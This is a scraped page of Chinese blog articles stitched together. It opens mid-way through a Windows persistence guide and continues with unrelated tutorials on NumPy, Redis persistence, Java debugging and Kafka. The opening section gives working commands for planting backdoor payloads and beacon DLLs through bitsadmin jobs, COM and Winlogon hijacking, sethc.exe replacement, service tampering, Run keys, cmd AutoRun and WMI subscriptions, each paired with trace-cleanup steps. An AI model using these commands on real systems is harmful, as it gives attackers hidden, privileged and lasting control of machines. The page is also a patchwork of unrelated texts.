    bitsadmin /SetNotifyCmdLine test "C:\windows\system32\cmd.exe" "cmd.exe /c c:\users\public\downloads\payload.exe" 
    
    啟動任務
    bitsadmin /resume test
    

    每次開機的時候會觸發

    清理痕迹

    bitsadmin /reset
    

    COM組件劫持

    將腳本放入com組件中

    reg add "HKEY_CURRENT_USER\Software\Classes\CLSID\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\InprocServer32" /t REG_SZ /d "c:\users\public\downloads\beacon.dll" /f
    
    reg add "HKEY_CURRENT_USER\Software\Classes\CLSID\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\InprocServer32" /v ThreadingModel /t REG_SZ /d "Apartment" /f
    

    清理痕迹

    刪除註冊表中的路徑值,並通過路徑刪除木馬文件

    替換cmd.exe

    將sethc.exe(按shift 5下)替換成cmd.exe

    takeown /f sethc.* /a /r /d y
    cacls sethc.exe /T /E /G administrators:F
    copy /y cmd.exe sethc.exe
    

    清理痕迹

    找個原版的setch.exe 覆蓋回去

    Winlogon劫持

    winlogon是windows登錄賬戶時會執行的程序,這裏將其註冊表中寫入木馬運行的dll路徑

    reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v shell /t REG_SZ /d "explorer.exe, rundll32.exe \"c:\users\public\downloads\beacon.dll\" StartW" /f
    

    清理痕迹

    刪除註冊表的shell中的值,並且找到後門文件刪除掉

    組策略

    需要能遠程登錄到桌面

    輸入gpedit.msc打開組策略,需要管理員賬號

    在用戶與計算機中的windows設置中均可以對腳本進行編輯,用戶策略是用戶權限,計算機策略是system權限

    清理痕迹

    打開組策略找到腳本,刪除即可

    修改計算器啟動服務調用的程序

    啟動服務有些需要手動啟動,比如IEEtwCollectorService 服務,這裏做後面的思路是,該服務本身對計算機運行沒有影響,因此將其手動啟動改成自動啟動,並將其運行的腳本改成木馬後門

    類比一下windows10 沒有IEEtwCollectorService 服務可以選擇COMSysApp服務

    篡改運行腳本
    reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\IEEtwCollector Service" /v ImagePath /t REG_EXPAND_SZ /d "c:\users\public\downloads\beacon.exe" /f
    
    設置自動啟動
    reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\IEEtwCollector Service" /v Start /t REG_DWORD /d 2 /f 
    
    啟動服務
    sc start IEEtwCollectorService 
    

    返回的是system權限

    清理痕迹

    將篡改的註冊表改回來,並且刪除目標木馬

    MSDTC 服務

    MSDTC 服務默認會加載一個在windowss/system32下的不存在的 oci.dll,思路是將cs.dll 改名為oci.dll,放到system32下即可,該方法需要管理員用戶權限

    清理痕迹

    刪除的時候因為被多個進程調用,因此刪不掉,這裏可以換個思路修改其名稱,重啟再刪除

    啟動項

    啟動項是會去指定文件夾下運行文件夾下的所有服務,這個文件夾是

    C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
    
    C:\Users\test\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
    

    也會運行以下註冊表中的腳本

    reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v test /t REG_SZ /d "c:\users\public\downloads\payload.exe" /f
    
    需要高權限
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v test /t REG_SZ /d "c:\users\public\downloads\payload.exe" /f
    

    清理痕迹

    刪除文件夾下的木馬或者刪除註冊表中添加的惡意木馬註冊表,並找到木馬位置刪除

    cmd 啟動劫持

    在cmd啟動時回去註冊表中查看是否有AutoRun的健值,如果有則會運行其中的腳本

    reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor" /v AutoRun /t REG_SZ /d "c:\users\public\downloads\payload.exe" /f
    

    清理痕迹

    在管理員權限下刪除註冊表的值即可

    wmic事件

    註冊一個事件過濾器,該過濾器是開機 2 分鐘到 2 分半鍾,由於是永久 WMI 事 件訂閱,故需要管理員權限,最終獲取到權限也是 system 權限
    wmic 
    /NAMESPACE:"\\root\subscription"PATH__EventFilterCREATE Name="TestEventFilter", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 20 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >=120 AND TargetInstance.SystemUpTime < 150" 
    
    
    註冊一個事件消費者,這裏寫入了要執行的命令,是用 rundll32 啟動 cs 的 dll
    wmic /NAMESPACE:"\\root\subscription"PATHCommandLineEventConsumer CREATE Name="TestConsumer2",ExecutablePath="C:\Windows\System32\cmd.exe",CommandLineTemplate=" /c rundll32 c:\users\public\downloads\beacon.dll #5" 
    
    綁定事件 過濾器和事件消費者
    wmic /NAMESPACE:"\\root\subscription"PATH__FilterToConsumerBindingCREATE Filter="__EventFilter.Name=\"TestEventFilter\"", Consumer="CommandLineEventConsumer.Name=\"TestConsumer2\""
    

    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※超省錢租車方案

    ※別再煩惱如何寫文案,掌握八大原則!

    ※回頭車貨運收費標準

    ※教你寫出一流的銷售文案?

    ※產品缺大量曝光嗎?你需要的是一流包裝設計!

    ※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

  • 手把手教你學Numpy,這些api不容錯過

    手把手教你學Numpy,這些api不容錯過

    本文始發於個人公眾號:TechFlow,原創不易,求個關注

    今天是Numpy專題的第5篇文章,我們來繼續學習Numpy當中一些常用的數學和統計函數。

    基本統計方法

    在日常的工作當中,我們經常需要通過一系列值來了解特徵的分佈情況。比較常用的有均值、方差、標準差、百分位數等等。前面幾個都比較好理解,簡單介紹一下這個百分位數,它是指將元素從小到大排列之後,排在第x%位上的值。我們一般常用的是25%,50%和75%這三個值,通過這幾個值,我們很容易對於整個特徵的分佈有一個大概的了解。

    前面三個指標:均值、方差、標準差都很好理解,我們直接看代碼就行。

    median和percentile分別是求中位數與百分位數,它們不是Numpy當中array的函數,而是numpy的庫函數。所以我們需要把array當做參數傳入。percentile這個函數還需要額外傳入一個int,表示我們想要得到的百分位數,比如我們想要知道50%位置上的數,則輸入50。

    除了這些之外,我們還會經常用到sum,min,max,argmin,argmax這幾個函數。sum,min,max很好理解,argmin和argmax的意思是獲取最小值和最大值的索引

    這裏返回的索引有點奇怪,和我們想的不同,居然不是一個二維的索引而是一維的。實際上numpy的內部會將高維數組轉化成一維之後再進行這個操作,我們可以reshape一下數組來進行驗證:

    這些只是api的基本用法,numpy當中支持的功能不僅如此。我們觀察一下這些函數會發現,它們的作用域都是一組數據,返回的是一組數據通過某種運算得到的結果。舉個例子,比如sum,是對一組數據的價格。std計算的是一組數據的標準差,這樣的函數我們稱為聚合函數

    numpy當中的聚合函數在使用的時候允許傳入軸這個參數,限制它聚合的範圍。我們通過axis這個參數來控制,axis=0表示對列聚合,axis=1表示對行聚合。我們死記的話總是會搞混淆,實際上axis傳入的也是一個索引,表示第幾個索引的索引。我們的二維數組的shape是[行, 列],其中的第0位是行,第1位是列,可以認為axis是這個索引向量的一個索引。

    我們可以來驗證一下:

    可以看到axis=0和axis=1返回的向量的長度是不同的,因為以列為單位聚合只有4列,所以得到的是一個1 x 4的結果。而以行為單位聚合有5行,所以是一個1 x 5的向量。

    除了上面介紹的這些函數之外,還有cumsum和cumprod這兩個api。其中cumsum是用來對數組進行累加運算,而cumprod是進行的累乘運算。只是在實際工作當中,很少用到,我就不展開細講了,感興趣的同學可以查閱api文檔了解一下。

    bool數組的方法

    我們之前在Python的入門文章當中曾經提到過,在Python中True和False完全等價於1和0。那麼在上面這些計算的方法當中,如果存在bool類型的值,都會被轉化成1和0進行的計算。

    我們靈活運用這點會非常方便,舉個例子,假設我們要統計一批數據當中有多少條大於0。我們利用sum會非常方便:

    bool數組除了可以應用上面這些基本的運算api之外,還有專門的兩個api,也非常方便。一個叫做any,一個叫做all。any的意思是只要數組當中有一個是True,那麼結果就是True。可以認為是Is there any True in the array的意思,同樣,all就是說只有數組當中都是True,結果才是True。對應的英文自然是Are the values in the array all True。

    這個只要理解了,基本上很難忘記。

    排序

    Python原生的數組可以排序,numpy當中的數組自然也不例外。我們只需要調用sort方法就可以排序了,不過有一點需要注意,numpy中的sort默認是一個inplace的方法。也就是說我們調用完了sort之後,原數組的值就自動變化了。

    如果寫成了arr = arr.sort()會得到一個None,千萬要注意。

    同樣,我們也可以通過傳入軸這個參數來控制它的排序範圍,可以做到對每一列排序或者是對每一行排序,我們來看個例子:

    這個是對列排序,如果傳入0則是對行排序,這個應該不難理解。

    集合api

    numpy當中還提供了一些面向集合的api,相比於針對各種計算的api,這些方法用到的情況比較少。常用的一般只有unique和in1d

    unique顧名思義就是去重的api,可以返回一維array去重且排序之後的結果。我們來看個例子:

    它等價於:

    set(sorted(arr))
    

    in1d是用來判斷集合內的元素是否在另外一個集合當中,函數會返回一個bool型的數組。我們也可以來看個例子:

    除了這兩個api之外,還有像是計算並集並排序的union1d,計算差集的setdiff1d,計算兩個集合交集並排序的intersect1d等等。這些api的使用頻率實在是不高,所以就不贅述了。用到的時候再去查閱即可。

    總結

    今天我們聊了numpy當中很多常用的計算api,這些api在我們日常做機器學習和數據分析的時候經常用到。比如分析特徵分佈的時候,如果數據量很大是不適合作圖或者是可視化觀察的。這個時候可以從中位數、均值、方差和幾個關鍵百分位點入手,再比如在我們使用softmax多分類的時候,也會用到argmax來獲取分類的結果。

    總之,今天的內容非常關鍵,在numpy整體的應用當中佔比很高,希望大家都能熟悉它們的基本用法。這樣即使以後忘記,用到的時候再查閱也還來得及。

    今天的文章就是這些,如果喜歡本文,可以的話請點個關注,給我一點鼓勵,也方便獲取更多文章。

    本文使用 mdnice 排版

    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※帶您來了解什麼是 USB CONNECTOR  ?

    ※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

    ※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!

    ※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

    ※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

    ※教你寫出一流的銷售文案?

  • Redis的持久化設計

    Redis的持久化設計

    Redis 持久化設計

    持久化的功能:Redis是內存數據庫,數據都是存儲在內存中的,為了避免進程退出導致數據的永久丟失,要定期將Redis中的數據以某種形式從內存保存到硬盤,當下次Reids重啟時,利用持久化文件實現數據恢復。

    RDB:將當前數據保存到硬盤

    AOF:將每次執行的寫命令保存到硬盤(類似MySQL的binlog)

    1. RDB持久化

    RDB持久化是將當前進程中的數據生成快照保存到硬盤(因此也稱作快照持久化),保存的文件後綴是rdb;當Redis重新啟動時,可以讀取快照文件恢複數據。

    1. 觸發條件

      • 手動觸發 save 命令和bgsave命令都可以生成RDB文件, save命令會阻塞Redis服務進程,知道RDB文件創建完畢,bgsave命令則是創建一個子進程,由子進程來負責創建RDB文件,父進程繼續處理請求,bgsave命令執行過程中,只有fork子進程時會阻塞服務器,而對於save命令,整個過程都會阻塞服務器,因此save已基本被廢棄,線上環境要杜絕save的使用;後文中也將只介紹bgsave命令。此外,在自動觸發RDB持久化時,Redis也會選擇bgsave而不是save來進行持久化

      SAVE 執行期間,AOF 寫入可以在後台線程進行,BGREWRITEAOF 可以在子進程進行,所以這三種操作可以同時進行 ,為了避免性能問題,BGSAVE 和 BGREWRITEAOF 不能同時執行

    2. 自動觸發

    save m n

    在配置文件中通過 save m n 命令,指定當前m秒內發生n次變化時,觸發bgsave。

    ​ 其中save 900 1的含義是:當時間到900秒時,如果redis數據發生了至少1次變化,則執行bgsave;save 300 10和save 60 10000同理。當三個save條件滿足任意一個時,都會引起bgsave的調用.

    Redis的save m n,是通過serverCron函數、dirty計數器、和lastsave時間戳來實現的-

    • serverCron函數,是Redis服務器的周期性操作函數,默認每隔100ms執行一次,該函數對服務器的狀態進行維護,其中一項工作就是檢測save m n 配置是否滿足條件,如果滿足就執行bgsave.
    • dirty計數器 記錄服務器進行了多少起操作,修改,不是客戶端執行了多少修改數據的命令
    • lastsave時間戳也是Reids服務器維持的一個狀態,記錄上一次成功執行bgsave的時間

    save m n的原理如下:每隔100ms,執行serverCron函數;在serverCron函數中,遍歷save m n配置的保存條件,只要有一個條件滿足,就進行bgsave。對於每一個save m n條件,只有下面兩條同時滿足時才算滿足:

    • 當前時間-lastsave > m

    • dirty >= n

    在主從複製場景下,如果從節點執行全量複製操作,則主節點會執行bgsave命令,並將rdb文件發送給從節點。

    在執行shutdown命令時,自動執行rdb持久化

    1.2 RDB文件

    設置存儲路徑

    - 配置文件:dir配置指定目錄,dbfilename指定文件名。默認是Redis根目錄下的dump.rdb文件
    - 動態設置: 
    

    config set dir {newdir} /// config set dbfilename {newFileName}

    RDB文件 是經過壓縮的二進制文件,默認採用LZF算法對RDB文件進行壓縮,雖然壓縮耗時,但是可以大大減小文件體積,默認是開啟的,可以通過命令關閉:

    config set rdbcompression no

    RDB文件的壓縮並不是針對整個文件進行的,而是對數據庫中的字符串進行的,且只有在字符串達到一定長度(20字節)時才會進行

    格式:

    字段說明:

    1. REDIS常量,保存‘REDIS’5個字符

    2. db_version RDB文件的版本號

    3. SELECTDB 表示一個完整的數據庫(0號數據庫),同理SELECTDB 3 pairs表示完整的3號數據庫;只有當數據庫中有鍵值對時,RDB文件中才會有該數據庫的信息(上圖所示的Redis中只有0號和3號數據庫有鍵值對);如果Redis中所有的數據庫都沒有鍵值對,則這一部分直接省略。其中:SELECTDB是一個常量,代表後面跟着的是數據庫號碼;0和3是數據庫號碼;

    4. KEY-VALUE-PAIRS: pairs則存儲了具體的鍵值對信息,包括key、value值,及其數據類型、內部編碼、過期時間、壓縮信息等等

    1. EOF 標志著數據庫內容的結尾(不是文件的結尾),值為 rdb.h/EDIS_RDB_OPCODE_EOF (255)

    2. CHECK-SUM RDB 文件所有內容的校驗和,一個 uint_64t 類型值, REDIS 在寫入 RDB 文件時將校驗和保存在 RDB 文件的末尾,當讀取時,根據它的值對內容進行校驗

    。如果這個域的值為 0 ,那麼表示 Redis 關閉了校驗和功能。

    1.3 啟動時加載

    ​ RDB文件的載入工作是在服務器啟動時自動執行的,並沒有專門的命令。但是由於AOF的優先級更高,因此當AOF開啟時,Redis會優先載入AOF文件來恢複數據;只有當AOF關閉時,才會在Redis服務器啟動時檢測RDB文件,並自動載入。服務器載入RDB文件期間處於阻塞狀態,直到載入完成為止

    2. AOF持久化

    AOF(Append Only File) 則以協議文本的方式,將所有對數據庫進行過寫入的命令(及其參數)記錄到 AOF
    文件,以此達到記錄數據庫狀態的目的

    2.1 開啟AOF

    Redis服務器默認開啟RDB,關閉AOF;要開啟AOF,需要在配置文件中配置:

    appendonly yes

    2.2 執行流程

    2.2.1 命令寫入緩衝區

    //緩衝區的定義 是一個SDS, 可以兼容C語言的字符串
    struct redisServer {
        // AOF緩衝區, 在進入事件loop之前寫入
        sds aof_buf;
    };
    
    1. 命令傳播: Redis將執行完的命令、命令的參數、命令的參數個數等信息發送到 AOF 程序中

    2. 緩存追加: AOF程序根據接收到的命令命令數據,將命令轉換為網絡通訊協議的格式,然後將協議內容追加到服務器的 AOF 緩存中。

      • 將命令以文本協議格式保存在緩存中
      • 為什麼使用文本協議格式?兼容性,避免二次開銷,可讀性
      • 為什麼寫入緩存?這樣不會受制於磁盤的IO性能,避免每次有寫命令都直接寫入硬盤,導致硬盤IO成為Redis負載的瓶頸
    3. 文件寫入和保存:AOF 緩存中的內容被寫入到 AOF 文件末尾,如果設定的 AOF 保存
      條件被滿足的話,fsync 函數或者 fdatasync 函數會被調用,將寫入的內容真正地保存到磁盤中。

      為了提高文件寫入效率,在現代操作系統中,當用戶調用write函數將數據寫入文件時,操作系統通常會將數據暫存到一個內存緩衝區里,當緩衝區被填滿或超過了指定時限后,才真正將緩衝區的數據寫入到硬盤裡。這樣的操作雖然提高了效率,但也帶來了安全問題:如果計算機停機,內存緩衝區中的數據會丟失;因此系統同時提供了fsync、fdatasync等同步函數,可以強制操作系統立刻將緩衝區中的數據寫入到硬盤裡,從而確保數據的安全性。

      AOF保存模式:

      • AOF_FSYNC_ALWAYS: 命令寫入aof-buf后立即調用系統的fsync操作同步到AOF文件。因為 SAVE 是由 Redis 主進程執行的,所以在 SAVE 執行期間,主進程會被阻塞,不能接受命令請求。這種情況下,每次有寫命令都要同步到AOF文件,硬盤IO成為性能瓶頸,Redis只能支持大約幾百TPS寫入,嚴重降低了Redis的性能;即便是使用固態硬盤(SSD),每秒大約也只能處理幾萬個命令,而且會大大降低SSD的壽命。
      • AOF_FSYNC_NO: 命令寫入aof_buf后調用系統write操作,不對AOF文件做fsync同步;同步由操作系統負責,通常同步周期為30秒。這種情況下,文件同步的時間不可控,且緩衝區中堆積的數據會很多,數據安全性無法保證。
      • AOF_FSYNC_EVERYSEC: 每一秒鐘保存一次,命令寫入aof_buf后調用系統write操作, write完成后線程返回, fsync同步文件操作由專門線程每秒調用一次

    2.2.2. 文件重寫

    隨着命令不斷寫入AOF,文件會越來越大,為了解決這個問題,Redis引入AOF重寫機制壓縮文件體積,AOF文件重寫是把Redis進程內的數據轉化為寫命令同步到新AOF文件的過程。

    重寫后的AOF文件為什麼可以變小?

    1. 進程內已經超時的數據不再寫入文件
    2. 舊的AOF文件含有無效命令 ,如有些數據被重複設值(set mykey v1, set mykey v2)、有些數據被刪除了(sadd myset v1, del myset)等等, 新的AOF文件只保留最終的數據寫入命令
    3. 多條寫入命令可以合併為一個,如:lpush list a、lpush list b可以轉化為:lpush list a b。為了防止單條命令過大造成客戶端緩衝區溢出,對於list、set、hash等類型操作,以64個元素為邊界拆分為多條

    AOF重寫可以手動觸發也可以自動觸發:

    • 手動觸發: 直接調用bgrewriteaof命令
    • 自動觸發:根據auto-aof-rewrite-min-size和auto-aof-rewrite-percentage參數確定自動觸發時機。
      • auto-aof-rewrite-min-size:表示運行AOF重寫時文件最小體積,默認為64MB
      • auto-aof-rewrite-percentage:代表當前AOF文件空間(aof_current_size)和上一次重寫后AOF文件空間(aof_base_size)的比值

    流程說明:

    1)執行AOF重寫請求。

    如果當前進程正在執行AOF重寫,請求不執行。

    如果當前進程正在執行bgsave操作,重寫命令延遲到bgsave完成之後再執行。

    2)父進程執行fork創建子進程,開銷等同於bgsave過程。

    3.1)主進程fork操作完成后,繼續響應其它命令。

      所有修改命令依然寫入AOF文件緩衝區並根據appendfsync策略同步到磁盤,保證原有AOF機制正確性。

    3.2)由於fork操作運用寫時複製技術,子進程只能共享fork操作時的內存數據

      由於父進程依然響應命令,Redis使用“AOF”重寫緩衝區保存這部分新數據,防止新的AOF文件生成期間丟失這部分數據。

    4)子進程依據內存快照,按照命令合併規則寫入到新的AOF文件。

      每次批量寫入硬盤數據量由配置aof-rewrite-incremental-fsync控制,默認為32MB,防止單次刷盤數據過多造成硬盤阻塞。

    5.1)新AOF文件寫入完成后,子進程發送信號給父進程,父進程調用一個信號處理函數,並執行以前操作更新統計信息。

    5.2)父進程把AOF重寫緩衝區的數據寫入到新的AOF文件。這時新 AOF 文件所保存的數據庫狀態將和服務器當前的數據庫狀態一致。

    5.3)對新的AOF文件進行改名,原子地(atomic)覆蓋現有的AOF文件,完成新舊文件的替換。

    在整個 AOF 後台重寫過程中,只有信號處理函數執行時會對服務器進程(父進程)造成阻塞,其他時候,AOF 後台重寫都不會阻塞父進程,這將 AOF 重寫對服務器性能造成的影響降到了最低

    參考《Redis-設計與實現:AOF-持久化》

    2.2.3 重啟加載

    流程說明:

    1)AOF持久化開啟且存在AOF文件時,優先加載AOF文件。

    2)AOF關閉或者AOF文件不存在時,加載RDB文件。

    3)加載AOF/RDB文件成功后,Redis啟動成功。

    4)AOF/RDB文件存在錯誤時,Redis啟動失敗並打印錯誤信息。

    數據還原的詳細步驟:

    1. 創建一個不帶網絡連接的偽客戶端(fake client): 因為 Redis 的命令只能在客戶端上下文中執行,而載入 AOF 文件時所使用的命令直接來源於 AOF 文件而不是網絡連接,所以服務器使用了一個沒有網絡連接的偽客戶端來執行 AOF 文件保存的寫命令,偽客戶端執行命令的效果和帶網絡連接的客戶端執行命令的效果完全一樣。
    2. 從AOF文件中分析並讀取出一條寫命令,使用偽客戶端執行被讀出的寫命令,重複此操作,直到AOF文件中的所有寫命令都被處理完畢為止。

    2.2.4 文件校驗

    加載損壞的AOF文件會拒絕啟動,並打印錯誤信息。

    注意:對於錯誤格式的AOF文件,先進性備份,然後採用redis-check-aof --fix命令進行修復,修復后使用diff -u對比數據差異,找到丟失的數據,有些可以進行人工補全。

    AOF文件可能存在結尾不完整的情況,比如機器突然掉電導致AOF尾部文件命令寫入不全。

    Redis為我們提高了aof-load-truncated配置來兼容這種情況,默認開啟

    3. 了解MySQL中的binlog

    mysql binlog應用場景與原理深度剖析

    參考博文與書籍:

    1. 《redis設計與實現》
    2. Redis持久化
    3. [徐劉根-Redis實戰和核心原理詳解(8)使用快照RDB和AOF將Redis數據持久化到硬盤中](https://blog.csdn.net/xlgen157387/article/details/61925524

    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※為什麼 USB CONNECTOR 是電子產業重要的元件?

    網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

    ※台北網頁設計公司全省服務真心推薦

    ※想知道最厲害的網頁設計公司"嚨底家"!

    ※推薦評價好的iphone維修中心

  • 無異常日誌,就不能排查問題了???

    無異常日誌,就不能排查問題了???

    小聲逼逼

    眾所周知,日誌是排查問題的重要手段。關於日誌設計,以及怎麼根據從【用戶報障】環節開始到秒級定位問題這個我們下一期說(絕非套路),這一期,主要講一下,在沒有異常日誌的情況下,如何定位問題。沒有日誌當真能排查問題,不會是標題黨吧!

    案例一

    從最大的同性交友網站中拉取【dubbo-spring-boot-project】的代碼。

    然後把demo跑起來。

    本場景是由真實案例改編,因為公司代碼比較複雜也不方便透露,而這個demo在github上大家都能找到,既保證了原汁原味,又能讓大家方便自己體驗排查過程。

    好了,我們先設置owner = "feichao",然後看一下控制台

    一切正常

    那麼,當我設置成owner = "feichaozhenshuai!",再啟動

    看似一切都正常,那麼,我們到控制台一看。

    什麼情況,怎麼就沒owner了?

    這是在哪個環節出問題了?其實肥朝當初在公司遇到這個問題的時候,場景比這個複雜得多。因為公司的業務里沒有owner的話,在運行時會出現一些其他異常,涉及公司業務這裏就不展開了,我們言歸正傳,為毛我設置成feichaozhenshuai!就不行了,那我設置成肥朝大帥比電腦會不會爆炸啊???

    常見的錯誤做法是,把這個問題截圖往群里一丟,問“你們有沒有遇到過dubbo裏面,owner設置不生效的問題?”

    而關注了肥朝公眾號的【真愛粉絲】會這麼問,“dubbo裏面設置owner卻不生效,你們覺得我要從個角度排查問題?”。一看到這麼正確的提問方式,我覺得我不回復你都不好意思。好了,回到主題,這個時候,沒有一點點錯誤日誌,但是卻設置不成功,我們有哪些排查手段?

    套路一

    直接找set方法,看看是不是代碼做了判斷,防止在owner字段裏面set肥朝真帥這種詞語,避免把帥這件事走漏風聲!。這麼一分析似乎挺有道理對吧,那麼,如何快速找到這個set方法呢?如圖

    public void setOwner(String owner) {
        checkMultiName("owner", owner);
        this.owner = owner;
    }
    

    我們跟進checkMultiName代碼后發現

    protected static void checkProperty(String property, String value, int maxlength, Pattern pattern) {
        if (StringUtils.isEmpty(value)) {
            return;
        }
        if (value.length() > maxlength) {
            throw new IllegalStateException("Invalid " + property + "=\"" + value + "\" is longer than " + maxlength);
        }
        if (pattern != null) {
            Matcher matcher = pattern.matcher(value);
            if (!matcher.matches()) {
                throw new IllegalStateException("Invalid " + property + "=\"" + value + "\" contains illegal " +
                        "character, only digit, letter, '-', '_' or '.' is legal.");
            }
        }
    }
    

    從異常描述就很明顯可以看出,原來owner裏面是只支持-_等這類特殊符號,!是不支持的,所以設置成不成功,和肥朝帥不帥是沒關係的,和後面的!是有關係的。擦,原來是肥朝想多了,給自己加戲了!!!

    當然肥朝可以告訴你,在後面的版本,修復了這個bug,日誌會看得到異常了。這個時候你覺得問題就解決了?

    我相信此時很多假粉就會關掉文章,或者說下次肥朝發了一些他們不喜歡看的文章(你懂的)后,他們就從此取關,但是肥朝想說,且慢動手!!!

    你想嘛,萬一你以後又遇到類似的問題呢?而且源碼層次很深,就不是簡單的搜個set方法這麼簡單,這次給你搜到了set方法並解決問題,簡直是偶然成功。因此,我才多次強調,要持續關注肥朝,掌握更多套路。這難道是想騙你關注?我這分明是愛你啊!

    那麼,萬一以後遇到一些吞掉異常,亦或者某些原因導致日誌沒打印,我們到底如何排查?

    套路二

    我們知道idea裏面有很多好用的功能,比如肥朝之前的【看源碼,我為何推薦idea?】中就提到了條件斷點,除此之外,還有一個被大家低估的功能,叫做異常斷點

    肥朝掃了一眼,裏面的單詞都是小學的英語單詞,因此怎麼使用就不做過多解釋。遇到這個問題時,我們可以這樣設置異常斷點。

    運行起來如下:

    這樣,運行起來的時候,就會迅速定位到異常位置。然後一頓分析,應該很容易找出問題。

    是不是有點感覺了?那我們再來一個題型練習一下。

    案例二

    我們先在看之前肥朝粉絲群的提問

    考慮到部分粉絲不在群里,我就簡單描述一下這個粉絲的問題,他代碼有個異常,然後catch打異常日誌,但是日誌卻沒輸出。

    當然你還是不理解也沒關係,我根據該粉絲的問題,給你搭建了一個最簡模型的demo,模型雖然簡單,但是問題是同樣的,原汁原味,熟悉的配方,熟悉的味道。git地址如下:【https://gitee.com/HelloToby/springboot-run-exception】

    我們運行起來看一下

    @Slf4j
    public class HelloSpringApplicationRunListener implements SpringApplicationRunListener {
    
        public HelloSpringApplicationRunListener(SpringApplication application, String[] args) {
        }
    
        @Override
        public void starting() {
    
        }
    
        @Override
        public void environmentPrepared(ConfigurableEnvironment environment) {
    
        }
    
        @Override
        public void contextPrepared(ConfigurableApplicationContext context) {
            throw new RuntimeException("歡迎關注微信公眾號【肥朝】");
        }
    
        @Override
        public void contextLoaded(ConfigurableApplicationContext context) {
    
        }
    
        @Override
        public void finished(ConfigurableApplicationContext context, Throwable exception) {
        }
    }
    

    你會發現,一運行起來進程就停止,一點日誌都沒。絕大部分假粉絲遇到這個情況,都是菊花一緊,一點頭緒都沒,又去群里問”你們有沒有遇到過,Springboot一起來進程就沒了,但是沒有日誌的問題?“。正確提問姿勢肥朝已經強調過,這裏不多說。那麼我們用前面學到的排查套路,再來走一波

    我們根據異常棧順藤摸瓜

    我們從代碼中看出兩個關鍵單詞【reportFailure】、【context.close()】,經過斷點我們發現,確實是會先打印日誌,再關掉容器。但是為啥日誌先執行,再關掉容器,日誌沒輸出,容器就關掉了呢?因為,這個demo中,日誌是全異步日誌,異步日誌還沒執行,容器就關了,導致了日誌沒有輸出。

    該粉絲遇到的問題是類似的,他是單元測試中,代碼中的異步日誌還沒輸出,單元測試執行完進程就停止了。知道了原理解決起來也很簡單,比如最簡單的,跑單元測試的時候末尾先sleep一下等日誌輸出。

    在使用Springboot中,其實經常會遇到這種,啟動期間出現異常,但是日誌是異步的,日誌還沒輸出就容器停止,導致沒有異常日誌。知道了原理之後,要徹底解決這類問題,可以增加一個SpringApplicationRunListener

    /**
     * 負責應用啟動時的異常輸出
     */
    @Slf4j
    public class OutstandingExceptionReporter implements SpringApplicationRunListener {
    
        public OutstandingExceptionReporter(SpringApplication application, String[] args) {
        }
    
        @Override
        public void starting() {
    
        }
    
        @Override
        public void environmentPrepared(ConfigurableEnvironment environment) {
    
        }
    
        @Override
        public void contextPrepared(ConfigurableApplicationContext context) {
    
        }
    
        @Override
        public void contextLoaded(ConfigurableApplicationContext context) {
    
        }
    
        @Override
        public void finished(ConfigurableApplicationContext context, Throwable exception) {
            if (exception != null) {
                log.error("application started failed",exception);
                try {
                    Thread.sleep(100);
                } catch (InterruptedException e) {
                    log.error("application started failed", e);
                }
            }
        }
    }
    

    再啰嗦一句,其實日誌輸出不了,除了這個異步日誌的案例外,還有很多情況的,比如日誌衝突之類的,排查套路還很多,因此,建議持續關注,每一個套路,都想和你分享!

    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    USB CONNECTOR掌控什麼技術要點? 帶您認識其相關發展及效能

    台北網頁設計公司這麼多該如何選擇?

    ※智慧手機時代的來臨,RWD網頁設計為架站首選

    ※評比南投搬家公司費用收費行情懶人包大公開

    ※回頭車貨運收費標準

  • 一文入門Kafka,必知必會的概念通通搞定

    一文入門Kafka,必知必會的概念通通搞定

    Kakfa在大數據消息引擎領域,絕對是沒有爭議的國民老公。

    這是kafka系列的第一篇文章。預計共出20篇系列文章,全部原創,從0到1,跟你一起死磕kafka。

    本文盤點了 Kafka 的各種術語並且進行解讀,術語可能比較枯燥,但真的是精髓中的精髓!

    了解Kafka之前我們必須先掌握它的相關概念和術語,這對於後面深入學習 Kafka 各種功能將大有裨益。所以,枯燥你也得給我看完!

    大概是有這麼些東西要掌握,不多不多,預計20分鐘可以吃透:

    主題層

    主題層有三個兒子,分別叫做:Topic、Partition、Replica。既然我說是三個兒子,那你懂了,是不可分割的整體。

    Topic(主題)

    Kafka 是分佈式的消息引擎系統,它的主要功能是提供一套完備的消息(Message)發布與訂閱解決方案。

    在 Kafka 中,發布訂閱的對象是主題(Topic),你可以為每個業務、每個應用甚至是每類數據都創建專屬的主題。

    一個Topic是對一組消息的歸納。也可以理解成傳統數據庫里的表,或者文件系統里的一個目錄。

    Partition(分區)

    一個Topic通常都是由多個partition組成的,創建topic時候可以指定partition數量。

    分區優勢

    為什麼需要將Topic分區呢?如果你了解其他分佈式系統,你可能聽說過分片、分區域等說法,比如 MongoDB 和 Elasticsearch 中的 Sharding、HBase 中的 Region,其實它們都是相同的原理。

